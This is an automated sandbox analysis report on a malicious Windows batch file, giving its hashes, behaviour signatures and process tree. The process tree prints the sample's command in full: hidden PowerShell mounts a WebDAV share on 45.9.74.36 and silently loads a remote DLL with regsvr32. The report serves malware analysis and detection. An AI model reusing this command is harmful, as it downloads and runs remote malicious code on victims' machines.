Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    19/07/2024, 03:09

General

  • Target

    207866629169791510.bat

  • Size

    22KB

  • MD5

    00624989071363866be6a8a8f9b5b289

  • SHA1

    04bd1d01ef04f2d66225cba07d510c811cd7777e

  • SHA256

    3cc6a1b5de664898153fd6a8299526ff2f7be79b9e3afffe09023a80743eed20

  • SHA512

    b55f607322c477f6ba57dee832414a9d4af4fe640171144592652dce6839445afd62a456f005ccfe2220515d9eedf0bc814bb3d120e0c681a53182ece6ac0e04

  • SSDEEP

    384:5NaywJNi1fDBqabnp5E5tOac1DjXlY+K7n7FHKmEbw0HsEUj3CnH+b/PSZ57w:iywI1rbnpS5taXq+En0Jbw5EOSnHm/Pn

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\207866629169791510.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2408
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2276
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\52381802027942.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1636
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2960
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\52381802027942.dll
          3⤵
            PID:2176

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1636-24-0x000000001B620000-0x000000001B902000-memory.dmp

        Filesize

        2.9MB

      • memory/1636-25-0x00000000026E0000-0x00000000026E8000-memory.dmp

        Filesize

        32KB

      • memory/2408-16-0x00000000023D0000-0x00000000024D0000-memory.dmp

        Filesize

        1024KB

      • memory/2408-17-0x00000000023D0000-0x00000000024D0000-memory.dmp

        Filesize

        1024KB